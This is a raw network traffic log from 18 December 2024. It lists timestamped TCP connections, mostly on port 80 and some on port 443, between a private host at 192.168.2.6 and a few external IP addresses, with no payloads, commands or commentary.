Dec 18, 2024 12:00:16.297413111 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.298475981 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.298521042 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.298554897 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.298600912 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.299920082 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.300025940 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.300028086 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.300170898 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.301276922 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.301412106 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.301448107 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.301584959 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.302721024 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.302797079 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.302844048 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.303071022 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.304148912 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.304253101 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.304291010 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.304424047 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.305613995 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.305725098 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.306096077 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.306154966 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.307130098 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.307147026 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.307207108 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.309015036 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.309062004 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.421876907 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.424390078 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.717824936 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:16.840405941 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.143666983 CET	49937	443	192.168.2.6	104.21.23.76
Dec 18, 2024 12:00:17.143748999 CET	443	49937	104.21.23.76	192.168.2.6
Dec 18, 2024 12:00:17.144144058 CET	49937	443	192.168.2.6	104.21.23.76
Dec 18, 2024 12:00:17.166265965 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.166279078 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.166352987 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.166352987 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.167363882 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.167376041 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.167423010 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.167459965 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.176781893 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.176968098 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.177288055 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.177342892 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.181292057 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.181339979 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.181355953 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.181420088 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.185107946 CET	49937	443	192.168.2.6	104.21.23.76
Dec 18, 2024 12:00:17.185148001 CET	443	49937	104.21.23.76	192.168.2.6
Dec 18, 2024 12:00:17.190677881 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.190742016 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.191015959 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.191067934 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.198952913 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.199022055 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.270324945 CET	49925	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:17.270688057 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:17.296127081 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.296242952 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.296293974 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.296473026 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.300481081 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.300530910 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.301306009 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.301357985 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.302846909 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.302896023 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.309593916 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.309669018 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.310452938 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.310513020 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.318106890 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.318161011 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.318782091 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.319149017 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.325705051 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.325763941 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.326033115 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.326379061 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.357669115 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.357682943 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.357695103 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.357731104 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.357772112 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.361206055 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.361217976 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.361283064 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.361313105 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.368885040 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.368941069 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.369020939 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.369062901 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.377502918 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.377576113 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.377779961 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.377875090 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.385976076 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.386034012 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.386281967 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.386327982 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.393263102 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:17.393565893 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.393698931 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.393733978 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:17.394305944 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:17.396085024 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.396096945 CET	80	49925	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:17.396168947 CET	49925	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:17.396168947 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.400732040 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.400799990 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.429872036 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.430031061 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.430174112 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.430221081 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.433851004 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.433922052 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.434619904 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.434689045 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.434938908 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.434988022 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.442380905 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.442441940 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.442691088 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.442739964 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.449553967 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.453167915 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.486345053 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.486407042 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.486588001 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.486758947 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.491249084 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.491564035 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.491626024 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.496506929 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.496575117 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.497802973 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.501148939 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.503808022 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.503860950 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.504630089 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.504698038 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.510936022 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.511055946 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.511869907 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.511923075 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.517110109 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:17.517324924 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.517373085 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.517445087 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.517493010 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.522732019 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.522744894 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.522789955 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.522808075 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.529468060 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.529628038 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.529628038 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.529674053 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.535563946 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.535619020 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.535891056 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.535949945 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.541309118 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.541354895 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.541919947 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.541995049 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.545686960 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.545883894 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.546848059 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.546932936 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.546973944 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.550137997 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.550185919 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.550782919 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.550829887 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.555893898 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.555958986 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.556417942 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.556471109 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.561680079 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.561736107 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.561851978 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.561908960 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.565614939 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.565681934 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.565778017 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.565857887 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.569372892 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.569427013 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.569622040 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.569757938 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.572886944 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.572949886 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.573271036 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.573328972 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.576539993 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.576643944 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.576661110 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.576694965 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.580168962 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.580231905 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.580250025 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.580323935 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.583832979 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.583898067 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.583939075 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.583986998 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.587472916 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.587795973 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.619887114 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.619999886 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.620024920 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.620147943 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.621685982 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.621778965 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.621829987 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.621938944 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.625308990 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.625418901 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.626163006 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.629300117 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.629435062 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.629528999 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.633227110 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.633245945 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.633281946 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.633318901 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.636630058 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.636859894 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.677186966 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.677289009 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.677447081 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.678792953 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.678875923 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.678925991 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.678983927 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.681180954 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.681241989 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.681299925 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.684560061 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.684619904 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.684676886 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.684732914 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.687674999 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.687745094 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.687789917 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.687854052 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.691360950 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.691461086 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.691461086 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.691608906 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.693968058 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.694036961 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.694057941 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.694156885 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.696727991 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.696790934 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.696820974 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.697150946 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.699441910 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.699491978 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.699526072 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.699558973 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.702164888 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.702270031 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.702341080 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.704881907 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.704984903 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.705073118 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.707667112 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.707731962 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.707797050 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.707848072 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.710324049 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.710390091 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.710401058 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.710450888 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.712969065 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.713049889 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.713105917 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.713685036 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.715642929 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.715826988 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.715863943 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.715895891 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.718254089 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.718348026 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.718383074 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.718437910 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.720936060 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.721077919 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.721138954 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.723568916 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.723972082 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.851263046 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.851424932 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.851486921 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.851486921 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.852596998 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.852663994 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.852832079 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.853142977 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.855218887 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.855433941 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.855495930 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.857959032 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.858059883 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.860534906 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.860615015 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.860634089 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.861170053 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.863189936 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.863305092 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.863373995 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.863389015 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.865859985 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.865925074 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.866004944 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.866049051 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.867948055 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.868024111 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.868065119 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.869158030 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.870029926 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.870141029 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.870230913 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.872128010 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.872225046 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.872289896 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.874212027 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.874315977 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.875452995 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.876327038 CET	80	49913	185.215.113.17	192.168.2.6
